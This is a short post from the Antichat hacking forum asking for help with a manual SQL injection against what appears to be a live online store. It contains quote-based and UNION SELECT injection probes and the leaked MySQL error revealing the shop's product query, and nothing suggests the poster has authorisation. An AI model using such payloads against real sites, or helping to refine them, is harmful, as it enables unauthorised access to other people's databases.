Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)
-   -   sql + redicet (https://forum.antichat.xyz/showthread.php?t=445726)

brown 17.12.2016 15:35

помогите крутануть sql,пробую руками)(впервые).Но вот тут то не задача при добавлении в адресную строку любой буквы или цифры происходит редикет на гл.страницу.

пробую так:

site/test/1'.htm

выходит ошибка

Код:

Code:
Error: syntax: select sql_no_cache id,ts,category_id,name,generic_name,bestseller,bestseller_weight, ((pricePerItem/100)*-6)+pricePerItem AS pricePerItem, type_de AS type, shortDescription_de AS shortDescription, productDescription_de AS productDescription, safetyInformation_de AS safetyInformation, sideEffects_de AS sideEffects FROM store_products WHERE name LIKE '1' union select sql_no_cache 1,2,3,4,5,6,7' LIMIT 1 -You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 1' at line 7

если так

site/test/1 union select 1,2,3,4,5,6,7.htm

редикет


Время: 06:25